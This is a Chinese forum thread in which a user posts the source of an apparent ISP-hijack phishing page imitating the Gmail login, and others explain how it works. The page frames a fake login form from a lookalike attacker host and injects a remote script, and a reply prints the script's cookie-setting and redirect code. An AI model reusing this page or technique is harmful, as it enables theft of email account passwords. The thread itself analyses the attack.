前几天登录Gmail突然被要求输入用户名和密码,觉得有些诡异(以前都是自动登录的,而且即使cookie过期也是重新输入一下密码即可)。
上网搜了一下,原来很多人遇到这个情况,其实那是被ISP供应商劫持域名之后返回的钓鱼网页。我看了下有同样问题的人截下的页面源码,和我当时复制下来的一样。如下:<html>
<head>
<link rel="icon" href="https://www.google.com/favicon.ico" type="image/x-icon" /><link rel="shortcut icon" href="https://www.google.com/favicon.ico" type="image/x-icon" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>Gmail:来自 Google 的电子邮件</title>
<link type=text/css rel=Stylesheet href=http://mail.google.com-sFmail-dns001account-3DframeUIoutmntmp.spvDHTML-template-800064zuzhuzzz-ServerLogin.shenyang900.ndns01.com/web/css/topFrame.css />
</head>
<body>
<iframe src=http://mail.google.com-sFmail-dns001account-3DframeUIoutmntmp.spvDHTML-template-800064zuzhuzzz-ServerLogin.shenyang900.ndns01.com/web/gmail/index.htm onload=changeState(this)></iframe> 
<script>
var a=1;
function changeState(f)
{
 if(a==2)
  document.write('<script src="http://mail.google.com-sFmail-dns001account-3DframeUIoutmntmp.spvDHTML-template-800064zuzhuzzz-ServerLogin.shenyang900.ndns01.com/web/gmail/Gmail?url=getJS"><\/script>');
 else
  a++;
}
</script>
</body>
</html>document.write这一行我大概明白,是去取一段script,这段script大概是添加了几个新的cookie。我没弄明白的是含有function changeState(f)的这段脚本。为什么一定要写成function changeState(f)的这种形式。我的意思是,如果我将含有function changeState(f)的这段脚本直接改成
<script src="http://mail.google.com-sFmail-dns001account-3DframeUIoutmntmp.spvDHTML-template-800064zuzhuzzz-ServerLogin.shenyang900.ndns01.com/web/gmail/Gmail?url=getJS"></script>
的话页面会跳到正常的Gmail界面,把if(a==2)改为if(a==1)的话也是同样的效果。小弟对javascript不是很了解,求高手解答,谢谢!

解决方案 »

  1.   


    function SetCookie(name, value) {
        var argv = SetCookie.arguments;
        var argc = SetCookie.arguments.length;
        var expires = (argc > 2) ? argv[2] : null;
        var path = (argc > 3) ? argv[3] : null;
        var domain = (argc > 4) ? argv[4] : null;
        var secure = (argc > 5) ? argv[5] : false;
        document.cookie = name + "=" + value + ((expires == null) ? "": ("; expires=" + expires.toGMTString())) + ((path == null) ? "": ("; path=" + path)) + ((domain == null) ? "": ("; domain=" + domain)) + ((secure == true) ? "; secure": "");
    }
    function addCookie() {
        var expDays = 0.0002;
        var exp = new Date();
        exp.setTime(exp.getTime() + (expDays * 24 * 60 * 60 * 1000));
        SetCookie("GoogleAccountsLocale_session", "zh_CN", exp, "/", "google.com");
        SetCookie("GALX", "23Ofn0FcsOY", exp, "/", "google.com");
        SetCookie("JSESSIONID", "1880FD9A678A0EA16C68C2586E3E09FD", exp, "/", "google.com");
    }
    addCookie();
    top.location.href = "https://www.google.com/accounts/ServiceLoginAuth<mpl=default<mplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3F&service=mail&rm=false&dsh=1176250078361774750<mpl=default<mpl=default&scc=1&timeStmp=&secTok=&GALX=23Ofn0FcsOY&Email=gfdsgfds&Passwd=gfdsgfdsgfd&rmShown=1&signIn=%E7%99%BB%E5%BD%95&asts=";
    上面这段是document.write出来的脚本首先是框入一个模仿google的登陆页面,onload后执行changeState,这时候a=1,不添加脚本.
    当你登录后,服务器端记录你的用户和密码,然后iframe要刷新,再次执行onload,这时a=2,添加进脚本
    这个脚本中会根据你的用户和密码加密,然后设置Cookies,伪装成google设置的自动登录,再跳转到真正的google登录页面...个人理解,呵呵 -.-
      

  2.   

    不过我还有一定不太明白。
    这个页面是怎样使钓鱼者得到Gmail的用户名和密码的。
      

  3.   

    你点登录的时候就记下来了,然后就用你输入的用户名和密码去登录真正的gmail
      

  4.   


    啊,我大概看了下frame引用的那个网页的代码。<form>标签的action属性和真正的gmail网页不一样,估计这个假页面是架在tomcat上的一个jsp网页,指向了一个记录帐号密码的处理器。